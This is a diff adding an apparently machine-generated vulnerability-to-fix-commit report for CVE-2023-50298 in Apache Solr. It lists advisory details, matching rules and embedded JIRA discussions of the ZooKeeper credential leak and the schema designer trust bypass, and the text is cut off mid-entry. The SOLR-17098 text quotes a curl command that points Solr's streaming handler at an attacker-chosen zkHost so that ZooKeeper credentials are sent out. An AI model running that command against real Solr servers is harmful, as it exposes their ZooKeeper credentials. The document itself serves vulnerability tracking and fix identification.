    + + + + + + + + + + \ No newline at end of file diff --git a/prospector/pipeline/reports/CVE-2023-50298_5b183fbd-ef84-47a0-8190-03dbf8a9a97d.json b/prospector/pipeline/reports/CVE-2023-50298_5b183fbd-ef84-47a0-8190-03dbf8a9a97d.json new file mode 100644 index 000000000..491b1cff4 --- /dev/null +++ b/prospector/pipeline/reports/CVE-2023-50298_5b183fbd-ef84-47a0-8190-03dbf8a9a97d.json @@ -0,0 +1,2157 @@ +{ + "parameters": { + "vulnerability_id": "CVE-2023-50298", + "repository_url": "https://github.com/apache/lucene-solr", + "version_interval": "9.0.0:9.4.1", + "use_backend": "always", + "backend_address": "http://backend:8000", + "git_cache": "/data/gitcache", + "limit_candidates": 2000, + "use_llm_repository_url": true, + "enabled_rules": [ + "VULN_ID_IN_MESSAGE", + "XREF_BUG", + "XREF_GH", + "COMMIT_IN_REFERENCE", + "VULN_ID_IN_LINKED_ISSUE", + "CHANGES_RELEVANT_FILES", + "CHANGES_RELEVANT_CODE", + "RELEVANT_WORDS_IN_MESSAGE", + "ADV_KEYWORDS_IN_FILES", + "ADV_KEYWORDS_IN_MSG", + "SEC_KEYWORDS_IN_MESSAGE", + "SEC_KEYWORDS_IN_LINKED_GH", + "SEC_KEYWORDS_IN_LINKED_BUG", + "GITHUB_ISSUE_IN_MESSAGE", + "BUG_IN_MESSAGE", + "COMMIT_HAS_TWINS", + "COMMIT_IS_SECURITY_RELEVANT" + ] + }, + "advisory_record": { + "cve_id": "CVE-2023-50298", + "description": "Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Apache Solr.This issue affects Apache Solr: from 6.0.0 through 8.11.2, from 9.0.0 before 9.4.1.\n\nSolr Streaming Expressions allows users to extract data from other Solr Clouds, using a \"zkHost\" parameter.\nWhen original SolrCloud is setup to use ZooKeeper credentials and ACLs, they will be sent to whatever \"zkHost\" the user provides.\nAn attacker could setup a server to mock ZooKeeper, that accepts ZooKeeper requests with credentials and ACLs and extracts the sensitive information,\nthen send a streaming expression using the mock server's address in \"zkHost\".\nStreaming Expressions are exposed via the \"/streaming\" handler, with \"read\" permissions.\n\nUsers are recommended to upgrade to version 8.11.3 or 9.4.1, which fix the issue.\nFrom these versions on, only zkHost values that have the same server address (regardless of chroot), will use the given ZooKeeper credentials and ACLs when connecting.\n\n", + "reserved_timestamp": 1701890511, + "published_timestamp": 1707499747, + "updated_timestamp": 1724084310, + "repository_url": null, + "references": { + "": 79, + "https://solr.apache.org/security.html#cve-2023-50298-apache-solr-can-expose-zookeeper-credentials-via-streaming-expressions": 6, + "http://www.openwall.com/lists/oss-security/2024/02/09/3": 4, + "http://www.openwall.com/lists/oss-security/2024/02/09/2": 4, + "https://www.openwall.com/lists/oss-security/2024/02/09/2": 2, + "https://www.apache.org/security/": 2, + "https://cwiki.apache.org/confluence/display/SOLR/SolrSecurity": 2, + "https://nvd.nist.gov/vuln/detail/CVE-2024-31391": 2, + "https://nvd.nist.gov/vuln/detail/CVE-2023-50291": 2, + "https://nvd.nist.gov/vuln/detail/CVE-2023-50292": 2, + "https://nvd.nist.gov/vuln/detail/CVE-2023-50298": 2, + "https://nvd.nist.gov/vuln/detail/CVE-2023-50386": 2, + "https://nvd.nist.gov/vuln/detail/CVE-2023-50290": 2, + "https://nvd.nist.gov/vuln/detail/CVE-2022-39135": 2, + "https://logging.apache.org/log4j/2.x/security.html": 2, + "https://issues.apache.org/jira/browse/SOLR-15217": 2, + "https://issues.apache.org/jira/browse/SOLR-15249": 2, + "https://issues.apache.org/jira/browse/SOLR-15233": 2, + "https://nvd.nist.gov/vuln/detail/CVE-2018-10237": 2, + "https://nvd.nist.gov/vuln/detail/CVE-2017-14952": 2, + "https://nvd.nist.gov/vuln/detail/CVE-2018-1335": 2, + "https://nvd.nist.gov/vuln/detail/CVE-": 2, + "https://solr.apache.org/community.html#mailing-lists-chat": 1, + "https://solr.apache.org/downloads.html": 1, + "https://cyclonedx.org/capabilities/vex/": 1, + "https://github.com/oasis-tcs/csaf/blob/master/csaf_2.0/prose/csaf-v2-editor-draft.md#45-profile-5-vex": 1, + "https://www.apache.org/foundation/mailinglists.html": 1, + "https://nvd.nist.gov/vuln/detail/CVE-2021-44548": 1, + "https://nvd.nist.gov/vuln/detail/CVE-2021-44228": 1, + "https://nvd.nist.gov/vuln/detail/CVE-2021-27905": 1, + "https://nvd.nist.gov/vuln/detail/CVE-2021-29262": 1, + "https://nvd.nist.gov/vuln/detail/CVE-2021-29943": 1, + "https://nvd.nist.gov/vuln/detail/CVE-2020-13957": 1, + "https://nvd.nist.gov/vuln/detail/CVE-2020-13941": 1, + "https://nvd.nist.gov/vuln/detail/CVE-2019-17558": 1, + "https://issues.apache.org/jira/browse/SOLR-17216": 1, + "https://issues.apache.org/jira/browse/SOLR-16809": 1, + "https://issues.apache.org/jira/browse/SOLR-16777": 1, + "https://issues.apache.org/jira/browse/SOLR-17098": 1, + "https://issues.apache.org/jira/browse/SOLR-16949": 1, + "https://issues.apache.org/jira/browse/SOLR-16808": 1, + "https://issues.apache.org/jira/browse/SOLR-16421": 1, + "https://issues.apache.org/jira/browse/SOLR-15826": 1, + "https://github.com/apache/logging-log4j2/pull/608#issuecomment-990494126": 1, + "https://cwiki.apache.org/confluence/display/SOLR/SolrSecurity#SolrSecurity-SolrandVulnerabilityScanningTools": 1, + "https://hub.docker.com/_/solr": 1, + "https://lists.apache.org/thread/kgh63sncrsm2bls884pg87mnt8vqztmz": 1, + "https://solr.apache.org/guide/8_6/configsets-api.html": 1, + "https://solr.apache.org/guide/8_6/authentication-and-authorization-plugins.html": 1, + "https://issues.apache.org/jira/browse/SOLR-14663": 1, + "https://issues.apache.org/jira/browse/SOLR-14925": 1, + "https://issues.apache.org/jira/browse/SOLR-13971": 1, + "https://issues.apache.org/jira/browse/SOLR-14025": 1, + "https://nvd.nist.gov/vuln/detail/CVE-2022-33980": 1, + "https://nvd.nist.gov/vuln/detail/CVE-2022-42889": 1, + "https://nvd.nist.gov/vuln/detail/CVE-2022-25168": 1, + "https://nvd.nist.gov/vuln/detail/CVE-2021-44832": 1, + "https://nvd.nist.gov/vuln/detail/CVE-2021-45105": 1, + "https://nvd.nist.gov/vuln/detail/CVE-2021-45046": 1, + "https://nvd.nist.gov/vuln/detail/CVE-2020-13955": 1, + "https://nvd.nist.gov/vuln/detail/CVE-2014-0114": 1, + "https://nvd.nist.gov/vuln/detail/CVE-2019-10086": 1, + "https://nvd.nist.gov/vuln/detail/CVE-2012-2098": 1, + "https://nvd.nist.gov/vuln/detail/CVE-2018-1324": 1, + "https://nvd.nist.gov/vuln/detail/CVE-2018-11771": 1, + "https://nvd.nist.gov/vuln/detail/CVE-2018-1000632": 1, + "https://nvd.nist.gov/vuln/detail/CVE-2017-15718": 1, + "https://nvd.nist.gov/vuln/detail/CVE-2017-15095": 1, + "https://nvd.nist.gov/vuln/detail/CVE-2017-17485": 1, + "https://nvd.nist.gov/vuln/detail/CVE-2017-7525": 1, + "https://nvd.nist.gov/vuln/detail/CVE-2018-5968": 1, + "https://nvd.nist.gov/vuln/detail/CVE-2018-7489": 1, + "https://nvd.nist.gov/vuln/detail/CVE-2019-12086": 1, + "https://nvd.nist.gov/vuln/detail/CVE-2019-12384": 1, + "https://nvd.nist.gov/vuln/detail/CVE-2018-12814": 1, + "https://nvd.nist.gov/vuln/detail/CVE-2019-14379": 1, + "https://nvd.nist.gov/vuln/detail/CVE-2019-14439": 1, + "https://nvd.nist.gov/vuln/detail/CVE-2020-35490": 1, + "https://nvd.nist.gov/vuln/detail/CVE-2020-35491": 1, + "https://nvd.nist.gov/vuln/detail/CVE-2021-20190": 1, + "https://nvd.nist.gov/vuln/detail/CVE-2019-14540": 1, + "https://nvd.nist.gov/vuln/detail/CVE-2019-16335": 1, + "https://medium.com/@cowtowncoder/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062": 1, + "https://nvd.nist.gov/vuln/detail/CVE-2019-10241": 1, + "https://nvd.nist.gov/vuln/detail/CVE-2019-10247": 1, + "https://nvd.nist.gov/vuln/detail/CVE-2020-27218": 1, + "https://nvd.nist.gov/vuln/detail/CVE-2020-27223": 1, + "https://nvd.nist.gov/vuln/detail/CVE-2021-33813": 1, + "https://nvd.nist.gov/vuln/detail/CVE-2018-1000056": 1, + "https://nvd.nist.gov/vuln/detail/CVE-2014-7940": 1, + "https://nvd.nist.gov/vuln/detail/CVE-2016-6293": 1, + "https://nvd.nist.gov/vuln/detail/CVE-2016-7415": 1, + "https://nvd.nist.gov/vuln/detail/CVE-2017-17484": 1, + "https://nvd.nist.gov/vuln/detail/CVE-2017-7867": 1, + "https://nvd.nist.gov/vuln/detail/CVE-2017-7868": 1, + "https://nvd.nist.gov/vuln/detail/CVE-2019-16869": 1, + "https://nvd.nist.gov/vuln/detail/CVE-2017-14868": 1, + "https://nvd.nist.gov/vuln/detail/CVE-2017-14949": 1, + "https://nvd.nist.gov/vuln/detail/CVE-2015-5237": 1, + "https://nvd.nist.gov/vuln/detail/CVE-2018-1471": 1, + "https://nvd.nist.gov/vuln/detail/CVE-2018-8088": 1, + "https://nvd.nist.gov/vuln/detail/CVE-2016-6809": 1, + "https://nvd.nist.gov/vuln/detail/CVE-2018-1338": 1, + "https://nvd.nist.gov/vuln/detail/CVE-2018-1339": 1, + "https://github.com/Gagravarr/VorbisJava/issues/30": 1, + "https://nvd.nist.gov/vuln/detail/CVE-2012-0881": 1, + "https://nvd.nist.gov/vuln/detail/CVE-2023-51074": 1, + "https://www.apache.org/": 1, + "https://www.apache.org/foundation/thanks.html": 1, + "https://www.apache.org/foundation/sponsorship.html": 1, + "https://www.apache.org/licenses/": 1, + "http://lucene.apache.org/": 1, + "http://zookeeper.apache.org/": 1, + "http://tika.apache.org/": 1, + "http://manifoldcf.apache.org/": 1, + "http://spark.apache.org/": 1, + "http://nutch.apache.org/": 1, + "http://zeppelin.apache.org/": 1, + "http://opennlp.apache.org/": 1, + "https://www.apache.org/licenses/LICENSE-2.0": 1, + "https://privacy.apache.org/policies/privacy-policy-public.html": 1, + "https://www.apache.org/foundation/marks/": 1 + }, + "affected_products": [ + "Streaming", + "ZooKeeper", + "Unauthorized", + "SolrCloud", + "Information", + "Actor", + "Expressions", + "Sensitive", + "Solr", + "Clouds", + "Apache Solr" + ], + "versions": { + "lessThanOrEqual": "8.11.2", + "status": "affected", + "version": "6.0.0", + "versionType": "semver" + }, + "files": [ + "This", + "ZooKeeper", + "SolrCloud", + "Solr", + "ACLs", + "zkHost" + ], + "keywords": [ + "request", + "stream", + "read", + "upgrade", + "apache", + "issue", + "solrcloud", + "handler", + "address", + "information", + "exposure", + "version", + "solr", + "user", + "credential", + "allow", + "sensitive", + "affect", + "expression", + "recommend", + "accept", + "unauthorized", + "value", + "clouds", + "server", + "have", + "provide", + "connect", + "expressions", + "zookeeper", + "send", + "parameter", + "permission", + "attacker", + "setup", + "streaming", + "give", + "actor", + "extract", + "datum", + "vulnerability", + "expose", + "chroot" + ], + "files_extension": [], + "has_fixing_commit": false + }, + "commits": [ + { + "commit_id": "61c956c426b2cfb85ccef55d1afca4335eacd269", + "repository": "https://github.com/apache/lucene-solr", + "timestamp": 1701804925, + "hunks": 30, + "message": "SOLR-17098: Only use ZK ACLs for default ZK Host (cherry picked from commit e2bf1f434aad873fbb24c21d46ac00e888806d98)", + "changed_files": [ + "solr/core/src/java/org/apache/solr/core/CoreContainer.java", + "solr/solr-ref-guide/src/stream-decorator-reference.adoc", + "solr/solr-ref-guide/src/stream-source-reference.adoc", + "solr/solrj/src/java/org/apache/solr/client/solrj/impl/CloudHttp2SolrClient.java", + "solr/solrj/src/java/org/apache/solr/client/solrj/impl/CloudSolrClient.java", + "solr/solrj/src/java/org/apache/solr/client/solrj/impl/ZkClientClusterStateProvider.java", + "solr/solrj/src/java/org/apache/solr/client/solrj/io/SolrClientCache.java", + "solr/solrj/src/java/org/apache/solr/common/cloud/SolrZkClient.java", + "solr/solrj/src/java/org/apache/solr/common/cloud/ZkStateReader.java", + "solr/solrj/src/test-files/solrj/solr/solr.xml" + ], + "message_reference_content": [], + "jira_refs": { + "SOLR-17098": "Security list thread: https://lists.apache.org/thread/byrxkqk15mh6960wmx4r851srosgkvbh ZK Credentials and ACLs can be exposed to any endpoint when the Streaming Handler is used: curl --data-urlencode 'expr=search(collection1, zkHost=\"target:2121\", qt=\"/export\", q=\" : \", fl=\"id,a_s,a_i,a_f\", sort=\"a_f asc, a_i asc\")' http://localhost:8983/solr/demo/stream In the command above, if the Solr instance has any Zookeeper Credentials or ACLs provided, then that information will be sent to the \"target:2121\" address. An attacker could set up a mock Zookeeper service to obtain the credentials, and then gain access to the Solr's Zookeeper Nodes. Zookeeper Credential Information Disclosure bug via Streaming Expressions Have a patch ready to test out. It works across all uses of the SolrClientCache, so hopefully there won't be any gaps we need to plugin in the future. Thanks for working on this! Feel free to at-mention me next time. I would have responded earlier in the month. I applied the patch to IntelliJ and also ran the tests via Crave CLI invocation (all passed; 6m 43sec) CloudSolrStream: you initialize ignoreZkACLs boolean but never use it (thanks IntelliJ for pointing this out) TupleStream: can remove your only edit; it was just for a newline SolrClientCache: here you used zkHost::contains but shouldn't this be zkHost::equals ? Should match the host exactly, not partially. Thanks for finding the first two, removed both as they were from earlier implementations. The SolrClientCache used contains to make sure that other chRoots could still use the ACLs, because that's not a security issue. However yeah contains was the wrong way to do it. I changed it to \"equals\" after removing chRoots. New patch should be good to go? This works. +1 In retrospect, I don't love that this approach introduces ignoreZkACLs in a number of places; it takes some review to understand what's going on and it seems yet another small wrinkle of complexity on things. It's an exotic option. An alternative approach is to try to isolate the entire change to SolrZkClient.createZkCredentialsToAddAutomatically, where zkCredentialsProvider is loaded and is itself an exotic option as well. The zkServer would be passed in to that method. But it's unclear how that method would know if the zkServer is the one (or ones?) to which the zkCredentialsProvider applies. So a half-baked idea. Maybe it would require whatever the sys prop that identifies ZK being set and equivalent to the arg. Perhaps ZkCredentialsInjector's API (or its collaborator APIs) are missing an argument that ought to be there \u2013 the zkServer. Any way I did +1. Yeah unfortunately all of the ZkCredentialsInjector stuff is a part of SolrJ-Zookeeper, and thus doesn't really have any knowledge of the Solr Core's Zookeeper address. So we'd have to pass through that info anyways. I'll move forward so this won't block the patch releases, we can always improve it in the future. houston , anything needed to get this over the finish line? This is the only block for 9.4.1 https://issues.apache.org/jira/issues/?jql=project%20%3D%20SOLR%20AND%20resolution%20%3D%20Unresolved%20AND%20fixVersion%20%3D%209.4.1%20%20ORDER%20BY%20priority%20DESC%2C%20updated%20DESC This has been backported to 9.4.1, but it hasn't been backported to 8.11.3 yet, so it's not marked as Done. You should be good to move forward with 9.4.1 This has been backported to branch_8_11 now. All backporting should be done. Closing after the 9.4.1 release" + }, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [ + "releases/lucene-solr/8.11.3" + ], + "matched_rules": [ + { + "id": "COMMIT_IS_SECURITY_RELEVANT", + "message": "", + "relevance": 32 + }, + { + "id": "XREF_BUG", + "message": "The commit and the advisory (including referenced pages) mention the same bug tracking ticket: SOLR-17098", + "relevance": 32 + }, + { + "id": "RELEVANT_WORDS_IN_MESSAGE", + "message": "The commit message contains some relevant words: ACLs", + "relevance": 8 + }, + { + "id": "CHANGES_RELEVANT_CODE", + "message": "The commit modifies code containing relevant filename or methods: This, ZooKeeper, Solr, ACLs, zkHost", + "relevance": 8 + }, + { + "id": "CHANGES_RELEVANT_FILES", + "message": "The commit changes some relevant files: solr/solrj/src/java/org/apache/solr/client/solrj/io/SolrClientCache.java, solr/solr-ref-guide/src/stream-decorator-reference.adoc, solr/core/src/java/org/apache/solr/core/CoreContainer.java, solr/solrj/src/java/org/apache/solr/client/solrj/impl/CloudHttp2SolrClient.java, solr/solrj/src/java/org/apache/solr/common/cloud/ZkStateReader.java, solr/solrj/src/test-files/solrj/solr/solr.xml, solr/solrj/src/java/org/apache/solr/common/cloud/SolrZkClient.java, solr/solr-ref-guide/src/stream-source-reference.adoc, solr/solrj/src/java/org/apache/solr/client/solrj/impl/ZkClientClusterStateProvider.java, solr/solrj/src/java/org/apache/solr/client/solrj/impl/CloudSolrClient.java", + "relevance": 8 + }, + { + "id": "SEC_KEYWORDS_IN_LINKED_BUG", + "message": "The bug tracking ticket SOLR-17098 contains some security-related terms: security", + "relevance": 4 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: read, stream, provide, clouds", + "relevance": 4 + }, + { + "id": "BUG_IN_MESSAGE", + "message": "The commit message references some bug tracking ticket: SOLR-17098", + "relevance": 2 + } + ] + }, + { + "commit_id": "4ac1d59918c250bffb09899572bd92054cee063a", + "repository": "https://github.com/apache/lucene-solr", + "timestamp": 1682778169, + "hunks": 1, + "message": "SOLR-16777: Fix for Schema Designer blindly trusting potentially malicious configsets", + "changed_files": [ + "solr/core/src/java/org/apache/solr/handler/designer/SchemaDesignerConfigSetHelper.java" + ], + "message_reference_content": [], + "jira_refs": { + "SOLR-16777": "When configset API is used to upload configsets by unauthenticated users, a \"trusted: false\" flag is set on the configset. Such configsets cannot use the directive to load classes while creating/loading collections. Details here: https://solr.apache.org/guide/8_10/configsets-api.html#configsets-upload Unfortunately, this safety mechanism was bypassed in the schema designer when a isConfigsetTrusted was hardcoded to true. https://github.com/apache/solr/blob/branch_9_1/solr/core/src/java/org/apache/solr/handler/designer/SchemaDesignerConfigSetHelper.java#L697 As per Skay's report https://twitter.com/Skay_00/status/1646870062601756672 remote code execution is possible in unsecured Solr clusters where authentication hasn't been enabled. This ticket is to mitigate one aspect of that, i.e. the schema designer vulnerability. While our recommendation to all users remains the same, i.e. to secure Solr installations with authentication and authorization, I thank Skay for his detailed report. Schema Designer blindly \"trusts\" potentially malicious configset Attaching a patch to fix this. All tests pass. I'm planning to commit this soon, would love to have someone review it. LGTM. go ahead and merge please Commit bf9ca1044b2eec234038c2c27ec7996d589bb8c8 in solr's branch refs/heads/main from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=solr.git;h=bf9ca1044b2 ] SOLR-16777 : Fix for Schema Designer blindly trusting potentially malicious configsets Commit 17b32f9b59094cda22e9e43236c97a575a7e16a0 in solr's branch refs/heads/branch_9x from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=solr.git;h=17b32f9b590 ] SOLR-16777 : Fix for Schema Designer blindly trusting potentially malicious configsets Commit 0333862ad289d9f73c7c96e1d26ebe15e506a4aa in solr's branch refs/heads/branch_9_2 from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=solr.git;h=0333862ad28 ] SOLR-16777 : Fix for Schema Designer blindly trusting potentially malicious configsets Thanks Skay, for reporting the bug as well as pointing towards the area of code containing the bug in your blog post! I have a question about the patch. Does this mean that everything the schema designer can never trust anything, even if it was uploaded by a trusted user? gus True. All unsafe features are disabled for any config that is uploaded over an API call Does this mean that everything the schema designer can never trust anything, even if it was uploaded by a trusted user? Yes. That is against the documentation for the trusted config set feature. I think the code should be determining if the user is trusted and then passing the correct value. Either one every time is wrong. The behavior should match config set upload. It's terribly confusing if nobody (trusted or untrusted) can use schema designer just because someone (trusted) uploaded a config set that requires trust previously... Because if the existing config that is being edited has \"trust required\" features\u00a0 and the user is editing something benign and unrelated to the \"trust required\" feature, this call will fail (unless I misunderstand) I think the code should be determining if the user is trusted and then passing the correct value. Sure, please feel free to re-open and add the check here. I hope all of this will become a non-issue once directives are gone ( SOLR-16781 ). Commit 9a4f4fff1cca1590eb039b521fb3f10abbdb62b3 in solr's branch refs/heads/branch_9_2 from Jan H\u00f8ydahl [ https://gitbox.apache.org/repos/asf?p=solr.git;h=9a4f4fff1cc ] SOLR-16777 Move changes entry from 9.2.1 to 9.2.2 Signed-off-by: Jan H\u00f8ydahl https://solr.apache.org/guide/solr/latest/configuration-guide/configsets-api.html#configsets-upload specifies two other features that also are only available with trusted configsets. is not the only issue. So unless the whole trusted config set feature is going away hard-coding a value seems to create a trap for the user. I don't have time to work on this right now, but I'm -1 on anything that makes schema designer (or any other feature) fail for unclear reasons. If the error message is clear enough, and the ref guide is updated to clarify the incompatibility of the listed \"trusted\" features with schema designer and we commit to doing something nicer in 9.3 I'll change that to -0.9, but it would be much better to be consistent with the existing feature. Security is important,\u00a0 but we shouldn't make our software trappy and hard to use either. security is not optional . Unsafe features should be removed as and when we find them I don't think this makes schema designer unusable at all. This is an extremely obscure feature that's carried forward from non cloud Solr Of course it's not optional, but usability isn't optional either. The fact that security is more important is why I am willing to put up with a well documented gotcha for the short term. Which feature are you referring to as carried forward. Schema designer appeared in 8.10 and trusted configsets first showed up\u00a0 in 8.4? (in documentation at least, I haven't figured out if trusted configsets were undocumented for a while before that) and other unsafe features mentioned in the configset upload API will generate an error (with the reason) when loaded from untrusted configsets. Those features shouldn't be used anyway, so if they dont work with schema designer, it is not the end of the world. Which feature are you referring to as carried forward I guess he's referring to and other insecure features (stateless script update processor?) etc. Also, the overlap of users using such obscure and advanced features and those using the schema designer will probably be negligible. Re-opening to make sure either Document in ref-guide that Schema Designer now can ONLY work on untrusted config sets OR Toggle safe/unsafe based on whether the call is authorized, like is done for configset-api +1 to what Gus said, and Jan's decision to reopen. Sure, please feel free to re-open and add the check here. Procedurally, responding to review this way feels...maybe not \"wrong\", but at least \"odd\". And maybe even slightly harmful? Obviously I'm not saying every last review comment needs addressed. Some are too minor or loosely held even by the reviewer. Often there's competing views, or a suggestion might deserve its own spinoff ticket, etc. That stuff happens all the time. But to seemingly agree after a few back-and-forth's (or at least acquiesce?) and still not incorporate the feedback - with no explanation - just feels a little weird. It discounts the time Gus and others put in to their reviews. And, longer term, it'd be natural for anyone reading here to hesitate before giving you a review the next time around. Which, it goes without saying, hurts everyone. ichattopadhyaya could you please at least explain why you don't care to incorporate Gus' feedback? Jason, please stop being so melodramatic. I'm on travel at the moment. I'll pick it up when I get some time. This is a volunteer driven project, so feel free to do something you expect me to do (which I will do). Btw, I agree with Jan's suggestion. I think we should rather add the check than explain why we don't. Fyi, Jason \ud83d\ude0a I think we should rather add the check than explain why we don't. +1 Jason, please stop being so melodramatic. I'm on travel at the moment Apologies for the \"melodrama,\" if that's how my comment came off. I wasn't trying to make a bigger thing of it than it is. I've been thinking a lot lately about how it's the unwritten rules and norms that allow our community to work at all. How we incorporate feedback is one of those. Those norms are just so, so important. That's all I was trying to get across. (And related - I think you're right - as important as it is, it's hard to elucidate or appeal to that sort of stuff without sounding like a crazy person catastrophizing or being melodramatic with some minuscule detail \ud83d\ude2c. So, I get that haha.) Anyways, I appreciate your clarifying that you intended to get to it in time . That's perfect. Have a safe trip! Any conclusion on this? It currently blocks 9.2.2 I'll take a look at this, latest by Thursday this week; Hopefully, that will be before the 9.3 release. I added a patch that should use the built-in trustedness of the configSet being used, when designing with the schema designer. If the user uploads a custom file to the configSet using the schema designer APIs, it can only remove the trust (if the user is not authenticated). It can never add trust to an untrusted configSet, because there is no way to replace all files using the schema designer APIs. (And we aren't going to give a whole configSet trust just because one file is now \"trusted\") I'm trying to get a release candidate out soon, so would appreciate anyone that could review the patch! The patch LGTM, with the small quibble that maybe we should document the \"final\" behavior around Schema Designer and trusted-ness in the ref-guide somewhere? LGTM. Summarized changes: ZkConfigSetService.java: The method signature of loadConfigSetFlags was modified to remove the CoreDescriptor parameter. ConfigSetService.java: Import of ZkSolrResourceLoader was removed. Two methods, isConfigSetTrusted(String name) and isConfigSetTrusted(SolrResourceLoader coreLoader), were added to check whether a given config set or a config set associated with a resource loader is trusted. In the loadConfigSet method, the check for a trusted config set was replaced with a call to the new isConfigSetTrusted method. The createSolrConfig method was updated to use the isConfigSetTrusted method for the trusted argument. The loadConfigSetFlags method was modified, similar to the change in ZkConfigSetService.java, to remove the CoreDescriptor parameter. ConfigSetAPIBase.java: The isTrusted method was made static, and its visibility was changed to public. The isCurrentlyTrusted method was removed. The method ensureOverwritingUntrustedConfigSet was updated to use configSetService.isConfigSetTrusted(configName) instead of isCurrentlyTrusted(configName). CreateConfigSetAPI.java: Updated to use configSetService.isConfigSetTrusted(createConfigPayload.baseConfigSet) instead of isCurrentlyTrusted(createConfigPayload.baseConfigSet). UploadConfigSetAPI.java: Updated to use configSetService.isConfigSetTrusted(configSetName) instead of isCurrentlyTrusted(configSetName). SchemaDesignerAPI.java: Updated to use the static isTrusted method from ConfigSetAPIBase.java. Also added logic to remove the trusted flag on the configSet if the request is untrusted. SchemaDesignerConfigSetHelper.java: Updated to load the Solr config with the trusted flag retrieved from isConfigSetTrusted. Added isConfigSetTrusted and removeConfigSetTrust methods. Trust is now determined based on the config set itself rather than on the loading process, and checks for trust have been centralized in the ConfigSetService class. Thank you very much, houston , for getting to this! I skimmed through the changes (still too busy to find time for a thorough review), and they look reasonable. Ok I cleaned it up a bit more and added docs. Will commit soon, after the tests pass. So we are going to need an 8.11.2 release for this, correct? I can volunteer for an 8x release containing this, immediately after 9.3 is out. Thanks Houston! Commit 35d352522df046aab9035d60806ababffa0f00e8 in solr's branch refs/heads/main from Houston Putman [ https://gitbox.apache.org/repos/asf?p=solr.git;h=35d352522df ] SOLR-16777 : Make SchemaDesigner use ConfigSet trust Commit 6b6e45a7c6e4f08fe1db951164ddab93809459db in solr's branch refs/heads/branch_9x from Houston Putman [ https://gitbox.apache.org/repos/asf?p=solr.git;h=6b6e45a7c6e ] SOLR-16777 : Make SchemaDesigner use ConfigSet trust (cherry picked from commit 35d352522df046aab9035d60806ababffa0f00e8) Commit d07751cfaa8065bea8bd43f59e758e50d50c2419 in solr's branch refs/heads/branch_9_3 from Houston Putman [ https://gitbox.apache.org/repos/asf?p=solr.git;h=d07751cfaa8 ] SOLR-16777 : Make SchemaDesigner use ConfigSet trust (cherry picked from commit 35d352522df046aab9035d60806ababffa0f00e8) Closing after the 9.3.0 release Hi, was it fixed int he 8.11 line as well? No. I created backporting this as a blocker for 8.11.3: SOLR-16948 Commit 4ac1d59918c250bffb09899572bd92054cee063a in lucene-solr's branch refs/heads/branch_8_11 from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=4ac1d59918c ] SOLR-16777 : Fix for Schema Designer blindly trusting potentially malicious configsets The other fix here by Houston is still remaining. Working on it. houston , can you please review my changes to https://github.com/apache/lucene-solr/tree/jira/solr-16777-8x-backport branch? Patch file is here: https://github.com/apache/lucene-solr/commit/f9fdfc3863d436829e925acd2157e356205af929.diff I'm unable to raise a PR for it, GitHub shows me the following error: Pull request creation failed. Validation failed: must be a collaborator I wasn't able to port all the refactoring that the config sets codepaths has received in 9x, so doing a targeted fix here. That looks good, except that SchemaDesignerSettingsDAO.getSettings() is missing its change. Thanks for the quick review, Houston. Here's remaining change (another commit on the same branch): https://github.com/apache/lucene-solr/commit/a01567b6e5f49e9b9760c07d2c5db40e1255b150.diff +1 if everything passes Commit 6e9ed203b30958396bdfd41760d426b386646865 in lucene-solr's branch refs/heads/branch_8_11 from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=6e9ed203b30 ] SOLR-16777 : Schema Designer now correctly manages trust of the ConfigSets it is managing Co-authored-by: Houston Putman " + }, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [ + "releases/lucene-solr/8.11.3" + ], + "matched_rules": [ + { + "id": "COMMIT_IS_SECURITY_RELEVANT", + "message": "", + "relevance": 32 + }, + { + "id": "XREF_BUG", + "message": "The commit and the advisory (including referenced pages) mention the same bug tracking ticket: SOLR-16777", + "relevance": 32 + }, + { + "id": "CHANGES_RELEVANT_CODE", + "message": "The commit modifies code containing relevant filename or methods: Solr", + "relevance": 8 + }, + { + "id": "CHANGES_RELEVANT_FILES", + "message": "The commit changes some relevant files: solr/core/src/java/org/apache/solr/handler/designer/SchemaDesignerConfigSetHelper.java", + "relevance": 8 + }, + { + "id": "SEC_KEYWORDS_IN_LINKED_BUG", + "message": "The bug tracking ticket SOLR-16777 contains some security-related terms: unsafe, secure, security, insecure, malicious", + "relevance": 4 + }, + { + "id": "SEC_KEYWORDS_IN_MESSAGE", + "message": "The commit message contains some security-related keywords: malicious", + "relevance": 4 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: handler", + "relevance": 4 + }, + { + "id": "BUG_IN_MESSAGE", + "message": "The commit message references some bug tracking ticket: SOLR-16777", + "relevance": 2 + } + ] + }, + { + "commit_id": "6e9ed203b30958396bdfd41760d426b386646865", + "repository": "https://github.com/apache/lucene-solr", + "timestamp": 1699036210, + "hunks": 18, + "message": "SOLR-16777: Schema Designer now correctly manages trust of the ConfigSets it is managing Co-authored-by: Houston Putman ", + "changed_files": [ + "solr/core/src/java/org/apache/solr/handler/admin/ConfigSetsHandler.java", + "solr/core/src/java/org/apache/solr/handler/designer/SchemaDesignerAPI.java", + "solr/core/src/java/org/apache/solr/handler/designer/SchemaDesignerConfigSetHelper.java", + "solr/core/src/java/org/apache/solr/handler/designer/SchemaDesignerSettingsDAO.java" + ], + "message_reference_content": [], + "jira_refs": { + "SOLR-16777": "When configset API is used to upload configsets by unauthenticated users, a \"trusted: false\" flag is set on the configset. Such configsets cannot use the directive to load classes while creating/loading collections. Details here: https://solr.apache.org/guide/8_10/configsets-api.html#configsets-upload Unfortunately, this safety mechanism was bypassed in the schema designer when a isConfigsetTrusted was hardcoded to true. https://github.com/apache/solr/blob/branch_9_1/solr/core/src/java/org/apache/solr/handler/designer/SchemaDesignerConfigSetHelper.java#L697 As per Skay's report https://twitter.com/Skay_00/status/1646870062601756672 remote code execution is possible in unsecured Solr clusters where authentication hasn't been enabled. This ticket is to mitigate one aspect of that, i.e. the schema designer vulnerability. While our recommendation to all users remains the same, i.e. to secure 